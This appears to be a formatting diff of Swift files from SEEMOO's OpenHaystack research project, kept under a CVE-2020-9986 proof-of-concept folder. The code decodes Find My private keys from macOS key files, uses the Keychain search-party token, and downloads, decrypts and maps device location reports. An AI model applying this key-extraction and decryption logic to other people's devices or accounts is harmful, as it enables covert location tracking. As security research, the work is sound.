CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/FindMyKeyDecoder.swift

@@ -1,113 +1,116 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
-import Foundation
 import CryptoKit
+import Foundation
 
 /// Decode key files found in newer macOS versions.
 class FindMyKeyDecoder {
-    /// Key files can be in different format.
-    /// The old <= 10.15.3 have been using normal plists.
-    /// Newer once use a binary format which needs different parsing
-    enum KeyFileFormat {
-        // swiftlint:disable identifier_name
-        /// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key
-        /// file format that can be parsed identically.
-        /// macOS 10.15.7 uses a new key file format that has not been reversed yet.
-        /// (The key files are protected by sandboxing and only usable from a SIP disabled)
-        case catalina_10_15_4
+  /// Key files can be in different format.
+  /// The old <= 10.15.3 have been using normal plists.
+  /// Newer once use a binary format which needs different parsing
+  enum KeyFileFormat {
+    // swiftlint:disable identifier_name
+    /// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key
+    /// file format that can be parsed identically.
+    /// macOS 10.15.7 uses a new key file format that has not been reversed yet.
+    /// (The key files are protected by sandboxing and only usable from a SIP disabled)
+    case catalina_10_15_4
+  }
+
+  var fileFormat: KeyFileFormat?
+
+  func parse(keyFile: Data) throws -> [FindMyKey] {
+    // Detect the format at first
+    if fileFormat == nil {
+      try self.checkFormat(for: keyFile)
+    }
+    guard let format = self.fileFormat else {
+      throw ParsingError.unsupportedFormat
     }
 
-    var fileFormat: KeyFileFormat?
+    switch format {
+    case .catalina_10_15_4:
+      let keys = try self.parseBinaryKeyFiles(from: keyFile)
+      return keys
+    }
+  }
 
-    func parse(keyFile: Data) throws -> [FindMyKey] {
-        // Detect the format at first
-        if fileFormat == nil {
-            try self.checkFormat(for: keyFile)
-        }
-        guard let format = self.fileFormat else {
-            throw ParsingError.unsupportedFormat
-        }
-
-        switch format {
-        case .catalina_10_15_4:
-            let keys = try self.parseBinaryKeyFiles(from: keyFile)
-            return keys
-        }
+  func checkFormat(for keyFile: Data) throws {
+    // Key files need to start with KEY = 0x4B 45 59
+    let magicBytes = keyFile.subdata(in: 0..<3)
+    guard magicBytes == Data([0x4b, 0x45, 0x59]) else {
+      throw ParsingError.wrongMagicBytes
     }
 
-    func checkFormat(for keyFile: Data) throws {
-        // Key files need to start with KEY = 0x4B 45 59
-        let magicBytes = keyFile.subdata(in: 0..<3)
-        guard magicBytes == Data([0x4b, 0x45, 0x59]) else {
-            throw ParsingError.wrongMagicBytes
-        }
+    // Detect zeros
+    let potentialZeros = keyFile[15..<31]
+    guard potentialZeros == Data(repeating: 0x00, count: 16) else {
+      throw ParsingError.wrongFormat
+    }
+    // Should be big sur
+    self.fileFormat = .catalina_10_15_4
+  }
 
-        // Detect zeros
-        let potentialZeros = keyFile[15..<31]
-        guard potentialZeros == Data(repeating: 0x00, count: 16) else {
-            throw ParsingError.wrongFormat
-        }
-        // Should be big sur
-        self.fileFormat = .catalina_10_15_4
+  fileprivate func parseBinaryKeyFiles(from keyFile: Data) throws -> [FindMyKey] {
+    var keys = [FindMyKey]()
+    // First key starts at 32
+    var i = 32
+
+    while i + 117 < keyFile.count {
+      // We could not identify what those keys were
+      _ = keyFile.subdata(in: i..<i + 32)
+      i += 32
+      if keyFile[i] == 0x00 {
+        // Public key only.
+        // No need to parse it. Just skip to the next key
+        i += 86
+        continue
+      }
+
+      guard keyFile[i] == 0x01 else {
+        throw ParsingError.wrongFormat
+      }
+      // Step over 0x01
+      i += 1
+      // Read the key (starting with 0x04)
+      let fullKey = keyFile.subdata(in: i..<i + 85)
+      i += 85
+      // Create the sub keys. No actual need,
+      // but we do that to put them into a similar format as used before 10.15.4
+
+      let advertisedKey = fullKey.subdata(in: 1..<29)
+      let yCoordinate = fullKey.subdata(in: 29..<57)
+
+      var shaDigest = SHA256()
+      shaDigest.update(data: advertisedKey)
+      let hashedKey = Data(shaDigest.finalize())
+
+      let fmKey = FindMyKey(
+        advertisedKey: advertisedKey,
+        hashedKey: hashedKey,
+        privateKey: fullKey,
+        startTime: nil,
+        duration: nil,
+        pu: nil,
+        yCoordinate: yCoordinate,
+        fullKey: fullKey)
+
+      keys.append(fmKey)
     }
 
-    fileprivate func parseBinaryKeyFiles(from keyFile: Data) throws -> [FindMyKey] {
-        var keys = [FindMyKey]()
-        // First key starts at 32
-        var i = 32
+    return keys
+  }
 
-        while i + 117 < keyFile.count {
-            // We could not identify what those keys were
-            _ = keyFile.subdata(in: i..<i+32)
-            i += 32
-            if keyFile[i] == 0x00 {
-                // Public key only.
-                // No need to parse it. Just skip to the next key
-                i += 86
-                continue
-            }
-
-            guard keyFile[i] == 0x01 else {
-                throw ParsingError.wrongFormat
-            }
-            // Step over 0x01
-            i+=1
-            // Read the key (starting with 0x04)
-            let fullKey = keyFile.subdata(in: i..<i+85)
-            i += 85
-            // Create the sub keys. No actual need,
-            // but we do that to put them into a similar format as used before 10.15.4
-
-            let advertisedKey = fullKey.subdata(in: 1..<29)
-            let yCoordinate = fullKey.subdata(in: 29..<57)
-
-            var shaDigest = SHA256()
-            shaDigest.update(data: advertisedKey)
-            let hashedKey = Data(shaDigest.finalize())
-
-            let fmKey = FindMyKey(advertisedKey: advertisedKey,
-                                  hashedKey: hashedKey,
-                                  privateKey: fullKey,
-                                  startTime: nil,
-                                  duration: nil,
-                                  pu: nil,
-                                  yCoordinate: yCoordinate,
-                                  fullKey: fullKey)
-
-            keys.append(fmKey)
-        }
-
-        return keys
-    }
-
-    enum ParsingError: Error {
-        case wrongMagicBytes
-        case wrongFormat
-        case unsupportedFormat
-    }
+  enum ParsingError: Error {
+    case wrongMagicBytes
+    case wrongFormat
+    case unsupportedFormat
+  }
 }

CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/Models.swift

@@ -1,197 +1,203 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
 // swiftlint:disable identifier_name
 
-import Foundation
 import CoreLocation
+import Foundation
 
 struct FindMyDevice: Codable, Hashable {
 
-    let deviceId: String
-    var keys = [FindMyKey]()
+  let deviceId: String
+  var keys = [FindMyKey]()
 
-    var catalinaBigSurKeyFiles: [Data]?
+  var catalinaBigSurKeyFiles: [Data]?
 
-    /// KeyHash: Report results
-    var reports: [FindMyReport]?
+  /// KeyHash: Report results
+  var reports: [FindMyReport]?
 
-    var decryptedReports: [FindMyLocationReport]?
+  var decryptedReports: [FindMyLocationReport]?
 
-    func hash(into hasher: inout Hasher) {
-        hasher.combine(deviceId)
-    }
+  func hash(into hasher: inout Hasher) {
+    hasher.combine(deviceId)
+  }
 
-    static func == (lhs: FindMyDevice, rhs: FindMyDevice) -> Bool {
-        lhs.deviceId == rhs.deviceId
-    }
+  static func == (lhs: FindMyDevice, rhs: FindMyDevice) -> Bool {
+    lhs.deviceId == rhs.deviceId
+  }
 }
 
 struct FindMyKey: Codable {
-    internal init(advertisedKey: Data, hashedKey: Data, privateKey: Data, startTime: Date?, duration: Double?, pu: Data?, yCoordinate: Data?, fullKey: Data?) {
-        self.advertisedKey = advertisedKey
-        self.hashedKey = hashedKey
-        // The private key should only be 28 bytes long. If a 85 bytes full private public key is entered we truncate it here
-        if privateKey.count == 85 {
-            self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
-        } else {
-            self.privateKey = privateKey
-        }
-
-        self.startTime = startTime
-        self.duration = duration
-        self.pu = pu
-        self.yCoordinate = yCoordinate
-        self.fullKey = fullKey
+  internal init(
+    advertisedKey: Data, hashedKey: Data, privateKey: Data, startTime: Date?, duration: Double?,
+    pu: Data?, yCoordinate: Data?, fullKey: Data?
+  ) {
+    self.advertisedKey = advertisedKey
+    self.hashedKey = hashedKey
+    // The private key should only be 28 bytes long. If a 85 bytes full private public key is entered we truncate it here
+    if privateKey.count == 85 {
+      self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
+    } else {
+      self.privateKey = privateKey
     }
 
-    init(from decoder: Decoder) throws {
-        let container = try decoder.container(keyedBy: CodingKeys.self)
-        self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey)
-        self.hashedKey = try container.decode(Data.self, forKey: .hashedKey)
-        let privateKey = try container.decode(Data.self, forKey: .privateKey)
-        if privateKey.count == 85 {
-            self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
-        } else {
-            self.privateKey = privateKey
-        }
+    self.startTime = startTime
+    self.duration = duration
+    self.pu = pu
+    self.yCoordinate = yCoordinate
+    self.fullKey = fullKey
+  }
 
-        self.startTime = try? container.decode(Date.self, forKey: .startTime)
-        self.duration = try? container.decode(Double.self, forKey: .duration)
-        self.pu = try? container.decode(Data.self, forKey: .pu)
-        self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate)
-        self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
+  init(from decoder: Decoder) throws {
+    let container = try decoder.container(keyedBy: CodingKeys.self)
+    self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey)
+    self.hashedKey = try container.decode(Data.self, forKey: .hashedKey)
+    let privateKey = try container.decode(Data.self, forKey: .privateKey)
+    if privateKey.count == 85 {
+      self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
+    } else {
+      self.privateKey = privateKey
     }
 
-    /// The advertising key
-    let advertisedKey: Data
-    /// Hashed advertisement key using SHA256
-    let hashedKey: Data
-    /// The private key from which the advertisement keys can be derived
-    let privateKey: Data
-    /// When this key was used to send out BLE advertisements
-    let startTime: Date?
-    /// Duration from start time how long the key has been used to send out BLE advertisements
-    let duration: Double?
-    /// ?
-    let pu: Data?
+    self.startTime = try? container.decode(Date.self, forKey: .startTime)
+    self.duration = try? container.decode(Double.self, forKey: .duration)
+    self.pu = try? container.decode(Data.self, forKey: .pu)
+    self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate)
+    self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
+  }
 
-    /// As exported from Big Sur
-    let yCoordinate: Data?
-    /// As exported from BigSur
-    let fullKey: Data?
+  /// The advertising key
+  let advertisedKey: Data
+  /// Hashed advertisement key using SHA256
+  let hashedKey: Data
+  /// The private key from which the advertisement keys can be derived
+  let privateKey: Data
+  /// When this key was used to send out BLE advertisements
+  let startTime: Date?
+  /// Duration from start time how long the key has been used to send out BLE advertisements
+  let duration: Double?
+  /// ?
+  let pu: Data?
+
+  /// As exported from Big Sur
+  let yCoordinate: Data?
+  /// As exported from BigSur
+  let fullKey: Data?
 }
 
 struct FindMyReportResults: Codable {
-    let results: [FindMyReport]
+  let results: [FindMyReport]
 }
 
 struct FindMyReport: Codable {
-    let datePublished: Date
-    let payload: Data
-    let id: String
-    let statusCode: Int
+  let datePublished: Date
+  let payload: Data
+  let id: String
+  let statusCode: Int
 
-    let confidence: UInt8
-    let timestamp: Date
+  let confidence: UInt8
+  let timestamp: Date
 
-    enum CodingKeys: CodingKey {
-        case datePublished
-        case payload
-        case id
-        case statusCode
+  enum CodingKeys: CodingKey {
+    case datePublished
+    case payload
+    case id
+    case statusCode
+  }
+
+  init(from decoder: Decoder) throws {
+    let values = try decoder.container(keyedBy: CodingKeys.self)
+    let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
+    // Convert from milis to time interval
+    let dP = Date(timeIntervalSince1970: dateTimestamp / 1000)
+    let df = DateFormatter()
+    df.dateFormat = "YYYY-MM-dd"
+
+    if dP < df.date(from: "2020-01-01")! {
+      self.datePublished = Date(timeIntervalSince1970: dateTimestamp)
+    } else {
+      self.datePublished = dP
     }
 
-    init(from decoder: Decoder) throws {
-        let values = try decoder.container(keyedBy: CodingKeys.self)
-        let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
-        // Convert from milis to time interval
-        let dP = Date(timeIntervalSince1970: dateTimestamp/1000)
-        let df = DateFormatter()
-        df.dateFormat = "YYYY-MM-dd"
+    self.statusCode = try values.decode(Int.self, forKey: .statusCode)
+    let payloadBase64 = try values.decode(String.self, forKey: .payload)
 
-        if dP < df.date(from: "2020-01-01")! {
-            self.datePublished = Date(timeIntervalSince1970: dateTimestamp)
-        } else {
-            self.datePublished = dP
-        }
+    guard let payload = Data(base64Encoded: payloadBase64) else {
+      throw DecodingError.dataCorruptedError(
+        forKey: CodingKeys.payload, in: values, debugDescription: "")
+    }
+    self.payload = payload
 
-        self.statusCode = try values.decode(Int.self, forKey: .statusCode)
-        let payloadBase64 = try values.decode(String.self, forKey: .payload)
-
-        guard let payload = Data(base64Encoded: payloadBase64) else {
-            throw DecodingError.dataCorruptedError(forKey: CodingKeys.payload, in: values, debugDescription: "")
-        }
-        self.payload = payload
-
-        var timestampData = payload.subdata(in: 0..<4)
-        let timestamp: Int32 = withUnsafeBytes(of: &timestampData) { (pointer) -> Int32 in
-            // Convert the endianness
-            pointer.load(as: Int32.self).bigEndian
-        }
-
-        // It's a cocoa time stamp (counting from 2001)
-        self.timestamp = Date(timeIntervalSinceReferenceDate: TimeInterval(timestamp))
-        self.confidence = payload[4]
-
-        self.id = try values.decode(String.self, forKey: .id)
+    var timestampData = payload.subdata(in: 0..<4)
+    let timestamp: Int32 = withUnsafeBytes(of: &timestampData) { (pointer) -> Int32 in
+      // Convert the endianness
+      pointer.load(as: Int32.self).bigEndian
     }
 
-    func encode(to encoder: Encoder) throws {
-        var container = encoder.container(keyedBy: CodingKeys.self)
-        try container.encode(self.datePublished.timeIntervalSince1970 * 1000, forKey: .datePublished)
-        try container.encode(self.payload.base64EncodedString(), forKey: .payload)
-        try container.encode(self.id, forKey: .id)
-        try container.encode(self.statusCode, forKey: .statusCode)
-    }
+    // It's a cocoa time stamp (counting from 2001)
+    self.timestamp = Date(timeIntervalSinceReferenceDate: TimeInterval(timestamp))
+    self.confidence = payload[4]
+
+    self.id = try values.decode(String.self, forKey: .id)
+  }
+
+  func encode(to encoder: Encoder) throws {
+    var container = encoder.container(keyedBy: CodingKeys.self)
+    try container.encode(self.datePublished.timeIntervalSince1970 * 1000, forKey: .datePublished)
+    try container.encode(self.payload.base64EncodedString(), forKey: .payload)
+    try container.encode(self.id, forKey: .id)
+    try container.encode(self.statusCode, forKey: .statusCode)
+  }
 }
 
 struct FindMyLocationReport: Codable {
-    let latitude: Double
-    let longitude: Double
-    let accuracy: UInt8
-    let datePublished: Date
-    let timestamp: Date?
-    let confidence: UInt8?
+  let latitude: Double
+  let longitude: Double
+  let accuracy: UInt8
+  let datePublished: Date
+  let timestamp: Date?
+  let confidence: UInt8?
 
-    var location: CLLocation {
-        return CLLocation(latitude: latitude, longitude: longitude)
+  var location: CLLocation {
+    return CLLocation(latitude: latitude, longitude: longitude)
+  }
+
+  init(lat: Double, lng: Double, acc: UInt8, dP: Date, t: Date, c: UInt8) {
+    self.latitude = lat
+    self.longitude = lng
+    self.accuracy = acc
+    self.datePublished = dP
+    self.timestamp = t
+    self.confidence = c
+  }
+
+  init(from decoder: Decoder) throws {
+    let values = try decoder.container(keyedBy: CodingKeys.self)
+
+    self.latitude = try values.decode(Double.self, forKey: .latitude)
+    self.longitude = try values.decode(Double.self, forKey: .longitude)
+
+    do {
+      let uAcc = try values.decode(UInt8.self, forKey: .accuracy)
+      self.accuracy = uAcc
+    } catch {
+      let iAcc = try values.decode(Int8.self, forKey: .accuracy)
+      self.accuracy = UInt8(bitPattern: iAcc)
     }
 
-    init(lat: Double, lng: Double, acc: UInt8, dP: Date, t: Date, c: UInt8) {
-        self.latitude = lat
-        self.longitude = lng
-        self.accuracy = acc
-        self.datePublished = dP
-        self.timestamp = t
-        self.confidence = c
-    }
-
-    init(from decoder: Decoder) throws {
-        let values = try decoder.container(keyedBy: CodingKeys.self)
-
-        self.latitude = try values.decode(Double.self, forKey: .latitude)
-        self.longitude = try values.decode(Double.self, forKey: .longitude)
-
-        do {
-            let uAcc = try values.decode(UInt8.self, forKey: .accuracy)
-            self.accuracy = uAcc
-        } catch {
-            let iAcc = try values.decode(Int8.self, forKey: .accuracy)
-            self.accuracy = UInt8(bitPattern: iAcc)
-        }
-
-        self.datePublished = try values.decode(Date.self, forKey: .datePublished)
-        self.timestamp = try? values.decode(Date.self, forKey: .timestamp)
-        self.confidence = try? values.decode(UInt8.self, forKey: .confidence)
-    }
+    self.datePublished = try values.decode(Date.self, forKey: .datePublished)
+    self.timestamp = try? values.decode(Date.self, forKey: .timestamp)
+    self.confidence = try? values.decode(UInt8.self, forKey: .confidence)
+  }
 
 }
 
 enum FindMyError: Error {
-    case decryptionError(description: String)
+  case decryptionError(description: String)
 }

CVE-2020-9986/OFReadKeys/OFFetchReports/MapView.swift

@@ -1,23 +1,25 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
-import SwiftUI
 import Cocoa
 import MapKit
+import SwiftUI
 
 struct MapView: NSViewControllerRepresentable {
-    @Environment(\.findMyController) var findMyController
+  @Environment(\.findMyController) var findMyController
 
-    func makeNSViewController(context: Context) -> MapViewController {
-        return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
-    }
+  func makeNSViewController(context: Context) -> MapViewController {
+    return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
+  }
 
-    func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
-        nsViewController.addLocationsReports(from: findMyController.devices)
-    }
+  func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
+    nsViewController.addLocationsReports(from: findMyController.devices)
+  }
 
 }

CVE-2020-9986/OFReadKeys/OFFetchReports/MapViewController.swift

@@ -1,51 +1,55 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
 import Cocoa
 import MapKit
 
 final class MapViewController: NSViewController, MKMapViewDelegate {
-    @IBOutlet weak var mapView: MKMapView!
-    var pinsShown = false
+  @IBOutlet weak var mapView: MKMapView!
+  var pinsShown = false
 
-    override func viewDidLoad() {
-        super.viewDidLoad()
-        self.mapView.delegate = self
+  override func viewDidLoad() {
+    super.viewDidLoad()
+    self.mapView.delegate = self
+  }
+
+  func addLocationsReports(from devices: [FindMyDevice]) {
+    if !self.mapView.annotations.isEmpty {
+      self.mapView.removeAnnotations(self.mapView.annotations)
     }
 
-    func addLocationsReports(from devices: [FindMyDevice]) {
-        if !self.mapView.annotations.isEmpty {
-            self.mapView.removeAnnotations(self.mapView.annotations)
-        }
-
-        // Zoom to first location
-        if let location =  devices.first?.decryptedReports?.first {
-            let coordinate = CLLocationCoordinate2D(latitude: location.latitude, longitude: location.longitude)
-            let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
-            let region = MKCoordinateRegion(center: coordinate, span: span)
-
-            self.mapView.setRegion(region, animated: true)
-        }
-
-        // Add pins
-        for device in devices {
-
-            guard let reports = device.decryptedReports else {continue}
-            for report in reports {
-                let pin = MKPointAnnotation()
-                pin.title = device.deviceId
-                pin.coordinate = CLLocationCoordinate2D(latitude: report.latitude, longitude: report.longitude)
-                self.mapView.addAnnotation(pin)
-            }
-        }
+    // Zoom to first location
+    if let location = devices.first?.decryptedReports?.first {
+      let coordinate = CLLocationCoordinate2D(
+        latitude: location.latitude, longitude: location.longitude)
+      let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
+      let region = MKCoordinateRegion(center: coordinate, span: span)
 
+      self.mapView.setRegion(region, animated: true)
     }
 
-    func changeMapType(_ mapType: MKMapType) {
-        self.mapView.mapType = mapType
+    // Add pins
+    for device in devices {
+
+      guard let reports = device.decryptedReports else { continue }
+      for report in reports {
+        let pin = MKPointAnnotation()
+        pin.title = device.deviceId
+        pin.coordinate = CLLocationCoordinate2D(
+          latitude: report.latitude, longitude: report.longitude)
+        self.mapView.addAnnotation(pin)
+      }
     }
+
+  }
+
+  func changeMapType(_ mapType: MKMapType) {
+    self.mapView.mapType = mapType
+  }
 }

CVE-2020-9986/OFReadKeys/OFFetchReports/OFFetchReportsMainView.swift

@@ -1,196 +1,210 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
 import SwiftUI
 
 struct OFFetchReportsMainView: View {
 
-    @Environment(\.findMyController) var findMyController
+  @Environment(\.findMyController) var findMyController
 
-    @State var targetedDrop: Bool = false
-    @State var error: Error?
-    @State var showMap = false
-    @State var loading = false
+  @State var targetedDrop: Bool = false
+  @State var error: Error?
+  @State var showMap = false
+  @State var loading = false
 
-    @State var searchPartyToken: Data?
-    @State var searchPartyTokenString: String = ""
-    @State var keyPlistFile: Data?
+  @State var searchPartyToken: Data?
+  @State var searchPartyTokenString: String = ""
+  @State var keyPlistFile: Data?
 
-    @State var showTokenPrompt = false
+  @State var showTokenPrompt = false
 
-    var dropView: some View {
-        ZStack(alignment: .center) {
-            HStack {
-                Spacer()
-                Spacer()
-            }
+  var dropView: some View {
+    ZStack(alignment: .center) {
+      HStack {
+        Spacer()
+        Spacer()
+      }
 
-            VStack {
-                Spacer()
-                Text("Drop exported keys here")
-                    .font(Font.system(size: 44, weight: .bold, design: .default))
-                    .padding()
+      VStack {
+        Spacer()
+        Text("Drop exported keys here")
+          .font(Font.system(size: 44, weight: .bold, design: .default))
+          .padding()
 
-                Text("The keys can be exported into the right format using the Read FindMy Keys App.")
-                    .font(.body)
-                    .multilineTextAlignment(.center)
-                    .padding()
+        Text("The keys can be exported into the right format using the Read FindMy Keys App.")
+          .font(.body)
+          .multilineTextAlignment(.center)
+          .padding()
 
-                Spacer()
-            }
-        }
-        .background(
-            RoundedRectangle(cornerRadius: 20.0)
-                .stroke(Color.gray, style: StrokeStyle(lineWidth: 5.0, lineCap: .round, lineJoin: .round, miterLimit: 10, dash: [15]))
-            )
+        Spacer()
+      }
+    }
+    .background(
+      RoundedRectangle(cornerRadius: 20.0)
+        .stroke(
+          Color.gray,
+          style: StrokeStyle(
+            lineWidth: 5.0, lineCap: .round, lineJoin: .round, miterLimit: 10, dash: [15]))
+    )
+    .padding()
+    .onDrop(of: ["public.file-url"], isTargeted: self.$targetedDrop) { (droppedData) -> Bool in
+      return self.droppedData(data: droppedData)
+    }
+
+  }
+
+  var loadingView: some View {
+    VStack {
+      Text("Downloading locations and decrypting...")
+        .font(Font.system(size: 44, weight: .bold, design: .default))
         .padding()
-        .onDrop(of: ["public.file-url"], isTargeted: self.$targetedDrop) { (droppedData) -> Bool in
-            return self.droppedData(data: droppedData)
-        }
-
     }
+  }
 
-    var loadingView: some View {
-        VStack {
-            Text("Downloading locations and decrypting...")
-            .font(Font.system(size: 44, weight: .bold, design: .default))
-            .padding()
-        }
-    }
+  /// This view is shown if the search party token cannot be accessed from keychain
+  var missingSearchPartyTokenView: some View {
+    VStack {
+      Text("Search Party token could not be fetched")
+      Text("Please paste the search party token below after copying it from the macOS Keychain.")
+      Text("The item that contains the key can be found by searching for: ")
+      Text("com.apple.account.DeviceLocator.search-party-token")
+        .font(.system(Font.TextStyle.body, design: Font.Design.monospaced))
 
-    /// This view is shown if the search party token cannot be accessed from keychain
-    var missingSearchPartyTokenView: some View {
-        VStack {
-            Text("Search Party token could not be fetched")
-            Text("Please paste the search party token below after copying it from the macOS Keychain.")
-            Text("The item that contains the key can be found by searching for: ")
-            Text("com.apple.account.DeviceLocator.search-party-token")
-                .font(.system(Font.TextStyle.body, design: Font.Design.monospaced))
-
-            TextField("Search Party Token", text: self.$searchPartyTokenString)
-
-            Button(action: {
-                if !self.searchPartyTokenString.isEmpty,
-                    let file = self.keyPlistFile,
-                    let searchPartyToken = self.searchPartyTokenString.data(using: .utf8) {
-                    self.searchPartyToken = searchPartyToken
-                    self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
-                }
-            }, label: {
-                Text("Download reports")
-            })
-        }
-    }
-
-    var mapView: some View {
-        ZStack {
-            MapView()
-            VStack {
-                HStack {
-                     Spacer()
-                    Button(action: {
-                        self.showMap = false
-                        self.showTokenPrompt = false
-                    }, label: {
-                        Text("Import other tokens")
-                    })
-
-                     Button(action: {
-                         self.exportDecryptedLocations()
-
-                     }, label: {
-                         Text("Export")
-                     })
-
-                 }
-                .padding()
-                Spacer()
-            }
-
-        }
-    }
-
-    var body: some View {
-        GeometryReader { geo in
-            if self.loading {
-                self.loadingView
-            } else if self.showMap {
-                self.mapView
-            } else if self.showTokenPrompt {
-                self.missingSearchPartyTokenView
-            } else {
-                self.dropView
-                .frame(width: geo.size.width, height: geo.size.height)
-            }
-        }
-
-    }
-
-    // swiftlint:disable identifier_name
-    func droppedData(data: [NSItemProvider]) -> Bool {
-        guard let itemProvider = data.first else {return false}
-
-        itemProvider.loadItem(forTypeIdentifier: "public.file-url", options: nil) { (u, _) in
-            guard let urlData = u as? Data,
-                let fileURL = URL(dataRepresentation: urlData, relativeTo: nil),
-                // Only plist supported
-                fileURL.pathExtension == "plist",
-                // Load the file
-                let file = try? Data(contentsOf: fileURL)
-                else {return}
-
-            print("Received data \(fileURL)")
-
-            self.keyPlistFile = file
-            let reportsFetcher = ReportsFetcher()
-            self.searchPartyToken = reportsFetcher.fetchSearchpartyToken()
-
-            if let searchPartyToken = self.searchPartyToken {
-                self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
-            } else {
-                self.showTokenPrompt = true
-            }
-
-        }
-        return true
-    }
-
-    func downloadAndDecryptLocations(with keyFile: Data, searchPartyToken: Data) {
-        self.loading = true
-
-        self.findMyController.loadPrivateKeys(from: keyFile, with: searchPartyToken, completion: { error in
-            // Check if an error occurred
-            guard error == nil else {
-                self.error = error
-                return
-            }
-
-            // Show map view
-            self.loading = false
-            self.showMap = true
+      TextField("Search Party Token", text: self.$searchPartyTokenString)
 
+      Button(
+        action: {
+          if !self.searchPartyTokenString.isEmpty,
+            let file = self.keyPlistFile,
+            let searchPartyToken = self.searchPartyTokenString.data(using: .utf8)
+          {
+            self.searchPartyToken = searchPartyToken
+            self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
+          }
+        },
+        label: {
+          Text("Download reports")
         })
     }
+  }
 
-    func exportDecryptedLocations() {
-        do {
-            let devices = self.findMyController.devices
-            let deviceData = try PropertyListEncoder().encode(devices)
+  var mapView: some View {
+    ZStack {
+      MapView()
+      VStack {
+        HStack {
+          Spacer()
+          Button(
+            action: {
+              self.showMap = false
+              self.showTokenPrompt = false
+            },
+            label: {
+              Text("Import other tokens")
+            })
 
-            SavePanel().saveFile(file: deviceData, fileExtension: "plist")
+          Button(
+            action: {
+              self.exportDecryptedLocations()
+
+            },
+            label: {
+              Text("Export")
+            })
 
-        } catch {
-            print("Error: \(error)")
         }
+        .padding()
+        Spacer()
+      }
+
     }
+  }
+
+  var body: some View {
+    GeometryReader { geo in
+      if self.loading {
+        self.loadingView
+      } else if self.showMap {
+        self.mapView
+      } else if self.showTokenPrompt {
+        self.missingSearchPartyTokenView
+      } else {
+        self.dropView
+          .frame(width: geo.size.width, height: geo.size.height)
+      }
+    }
+
+  }
+
+  // swiftlint:disable identifier_name
+  func droppedData(data: [NSItemProvider]) -> Bool {
+    guard let itemProvider = data.first else { return false }
+
+    itemProvider.loadItem(forTypeIdentifier: "public.file-url", options: nil) { (u, _) in
+      guard let urlData = u as? Data,
+        let fileURL = URL(dataRepresentation: urlData, relativeTo: nil),
+        // Only plist supported
+        fileURL.pathExtension == "plist",
+        // Load the file
+        let file = try? Data(contentsOf: fileURL)
+      else { return }
+
+      print("Received data \(fileURL)")
+
+      self.keyPlistFile = file
+      let reportsFetcher = ReportsFetcher()
+      self.searchPartyToken = reportsFetcher.fetchSearchpartyToken()
+
+      if let searchPartyToken = self.searchPartyToken {
+        self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
+      } else {
+        self.showTokenPrompt = true
+      }
+
+    }
+    return true
+  }
+
+  func downloadAndDecryptLocations(with keyFile: Data, searchPartyToken: Data) {
+    self.loading = true
+
+    self.findMyController.loadPrivateKeys(
+      from: keyFile, with: searchPartyToken,
+      completion: { error in
+        // Check if an error occurred
+        guard error == nil else {
+          self.error = error
+          return
+        }
+
+        // Show map view
+        self.loading = false
+        self.showMap = true
+
+      })
+  }
+
+  func exportDecryptedLocations() {
+    do {
+      let devices = self.findMyController.devices
+      let deviceData = try PropertyListEncoder().encode(devices)
+
+      SavePanel().saveFile(file: deviceData, fileExtension: "plist")
+
+    } catch {
+      print("Error: \(error)")
+    }
+  }
 }
 
 struct ContentView_Previews: PreviewProvider {
-    static var previews: some View {
-        OFFetchReportsMainView()
-    }
+  static var previews: some View {
+    OFFetchReportsMainView()
+  }
 }

CVE-2020-9986/OFReadKeys/OFFetchReports/ReportsFetcher/ReportsFetcher.h

@@ -1,9 +1,11 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
